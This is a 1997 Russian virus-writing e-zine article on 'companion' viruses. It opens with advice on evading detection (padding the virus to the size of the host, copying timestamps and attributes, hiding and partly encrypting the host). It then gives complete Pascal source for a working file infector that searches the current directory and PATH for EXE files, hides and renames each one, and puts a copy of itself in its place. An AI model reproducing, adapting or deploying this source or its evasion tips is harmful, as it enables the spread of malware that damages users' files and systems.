[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 2, May 1997 file 004
ВИРУСЫ-СПУТНИКИ
by RedArc
Вирусу-спутнику выжить гораздо легче, чем его собрату-убийце. Дело в том,
что вирусы этого типа не уничтожают программу-носитель, следовательно, могут
выполнить ее запуск на исполнение. Но все же "вычислить" эти вирусы и
"вылечить" программы от них может даже человек, позавчера выучивший файловую
структуру операционной системы. Механизм работы вирусов этого класса весьма
прост: пользователь сам запускает файл с телом вируса, а тот уже передает
управление программе-носителю. Для затруднения поиска и лечения можно
посоветовать следующее:
- "доращивайте" вирус до размера инфицированного файла;
- переносите всякий раз время и атрибуты файла-жертвы на файл-вирус;
- не оставляйте тело жертвы в исходном состоянии (хотя бы часть зашифруйте);
- делайте "скрытыми" программы-носители;
- не оставляйте тело вируса при запуске программы-носителя.
Последний совет особенно интересен тем, что при запуске инфицированного
антивируса вирус останется в памяти и по возврату управления от
программы-носителя сможет себя "возрадить" даже после тотального истребления.
Этот прием можно назвать псевдо-стелс-механизмом.
=== Cut ===
(****************************************************************************)
(***** HLLC.Pascal (c) 1997 by RedArc // [TAVC] *****)
(***** Поиск EXE-программ в текущем каталоге и по переменной PATH *****)
(***** Создание программы-спутника с вирусным кодом *****)
(***** MooN_BuG issue 2 // Вирусы-спутники // *****)
(****************************************************************************)
{$A+,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10240,10240,10240}
PROGRAM Pascal;
USES DOS;
CONST
MyLen = 5228; {Размер упакованного EXE-файла, содержащего тело вируса}
Ident = 'MooN_BuG // HLLC.Pascal';
Limit = 5; {Количество файлов, поражаемых за один раз}
VAR
SR : SearchRec; {Информация о найденном файле}
FN : String; {Имя файла}
Dir : DirStr; {Каталог}
Nam : NameStr; {Имя}
Ext : ExtStr; {Расширение}
F : File; {hanler}
P : Pointer; {Указтель на вирус в памяти}
B : Byte;
W : Word;
Count: Byte; {Количество инфицированных файлов за один сеанс}
{Функция перевода строки символов в верхний регистр}
FUNCTION UpStr (S : String) : String;
VAR
I : Byte;
BEGIN
FOR I := 1 TO Length (S) DO
S [I] := UpCase (S [I]);
UpStr := S;
END;
{"Обработка" клиента}
PROCEDURE Infect_File;
VAR
F1 : File;
L : LongInt;
BEGIN
FileMode := 0;
Assign (F, SR.Name);
ReSet (F, 1);
L := FileSize (F);
{
Если изменить значение переменной FileMode на два, то в этом месте
возможно пошифровать какую-либо часть программы-жертвы, но тогда не
забудьте и расшифровать ее перед запуском программы-носителя
}
Close (F);
{Проверка на "предельные" длины файлов и присутствие вируса в файле}
IF (L <= MyLen) OR (L > 30*MyLen) THEN Exit;
{Переименовываем найденный файл}
Rename (F, Nam + '.ASS');
{"Прячем" программу-носитель}
SetFAttr (F, Hidden);
FileMode := 1;
{Запись тела вируса}
Assign (F1, SR.Name);
ReWrite (F1, 1);
BlockWrite (F1, P^, MyLen, W);
{
Здесь можно дорастить вирус до размера файла-жертвы, но при этом
придется поискать другой признак зараженности, наприемр как это
сделано в вирусах HLLP. "Доращивание" можно осуществить так:
While FileSize (F1) < L DO BEGIN
B := Random (255);
BlockWrite (F1, B, 1, W)
END;
}
Close (F1);
Inc (Count);
END;
{Поиск в текущем каталоге}
PROCEDURE Find_In_To_Current_Directory;
VAR
FAttr : Word; {Атрибуты файла}
FTime : LongInt; {Время создания файла}
BEGIN
{Поиск первого EXE-файла с любым атрибутом}
FindFirst('*.EXE', AnyFile, SR);
While (DosError = 0) AND (Count < Limit) do begin
FileMode := 0;
{Разбор имени файла на составляющие}
FSplit (SR.Name, Dir, Nam, Ext);
{Связь переменной F с найденным физическим файлом}
Assign (F, SR.Name);
{Получить атрибуты файла}
GetFAttr (F, FAttr);
{Установить атрибут "архивный" и очистить остальные}
SetFAttr (F, Archive);
{Открыть файл с размером буфера чтения/записи в один байт}
ReSet (F, 1);
{Если нет ошибки доступа к файлу}
IF IOResult = 0 THEN BEGIN
{Запомнить временные характеристики файла}
GetFTime (F, FTime);
{Закрыть файл}
Close (F);
{"Обработать" клиента}
Infect_File;
{Связь переменной F с найденным физическим файлом}
Assign (F, SR.Name);
{Открыть файл с размером буфера чтения/записи в один байт}
ReSet (F, 1);
{Восстановить временные характеристики файла}
SetFTime (F, FTime);
{Закрыть файл}
Close (F);
{Восстановить атрибуты файла}
SetFAttr (F, FAttr);
END;
{Поиск следующего файла по шаблону}
FindNext(SR);
End;
END;
{Перебор каталогов, указанных в переменной PATH}
PROCEDURE Search_From_PATH;
VAR
PS : String;
Home : String;
S : String;
Ch : Char;
I : Byte;
BEGIN
GetDir (0, Home);
PS := GetEnv ('PATH');
S := '';
I := 1;
REPEAT
IF I >= Length (PS)+1 THEN BEGIN
IF S <> '' THEN BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult = 0 THEN
Find_In_To_Current_Directory;
END;
Break;
END;
Ch := PS [I];
Inc (I);
IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult <> 0 THEN BEGIN
WriteLn (Ident); {Сообщение идентификационной информации}
S := '';
Continue;
END;
Find_In_To_Current_Directory;
S := '';
END;
UNTIL False;
ChDir (Home);
END;
{Функция возвращает строку параметров}
FUNCTION ParamMy : String;
VAR
S : String;
I : Word;
BEGIN
S := '';
FOR I := 1 TO ParamCount DO
S := ParamStr (I) + ' ';
ParamMy := S;
END;
{Запуск программы-носителя на исполнение}
PROCEDURE Exec_Program;
VAR
FAttr : Word; {Атрибуты файла}
FTime : LongInt; {Время создания файла}
BEGIN
FileMode := 0;
FSplit (ParamStr (0), Dir, Nam, Ext);
Assign (F, ParamStr (0));
{Получить атрибуты файла}
GetFAttr (F, FAttr);
{Установить атрибут "архивный" и очистить остальные}
SetFAttr (F, Archive);
{Открыть файл с размером буфера чтения/записи в один байт}
ReSet (F, 1);
{Запомнить временные характеристики файла}
GetFTime (F, FTime);
{Удаляем файл-вирус}
Close (F);
Erase (F);
{Восстанавливаем программу-носитель}
Assign (F, Dir+Nam+'.ASS');
SetFAttr (F, Archive);
Rename (F, Dir+Nam+Ext);
SetFAttr (F, FAttr);
{Собственно ее запуск}
SwapVectors;
Exec (Dir+Nam+Ext, ParamMy);
SwapVectors;
{Переименовываем программу-носитель}
Assign (F, ParamStr (0));
SetFAttr (F, Archive);
Rename (F, Dir+Nam+'.ASS');
{"Прячем" программу-носитель}
SetFAttr (F, Hidden);
{Записываем тело вируса из памяти}
Assign (F, ParamStr (0));
ReWrite (F, 1);
BlockWrite (F, P^, MyLen, W);
SetFTime (F, FTime);
Close (F);
SetFAttr (F, FAttr);
END;
BEGIN
{Инициализация счетчика инфицированных файлов}
Count := 0;
{Чтение вируса в память}
GetMem (P,MyLen);
Assign (F, ParamStr (0));
ReSet (F,1);
IF IOResult = 0 THEN BEGIN
BlockRead (F, P^, MyLen, W);
Close (F);
{Поиск в текущем каталоге}
Find_In_To_Current_Directory;
{Поиск по PATH}
Search_From_PATH;
END;
{Запуск программы-носителя}
Exec_Program;
{Освобождение памяти}
FreeMem (P, MyLen);
=== Cut ===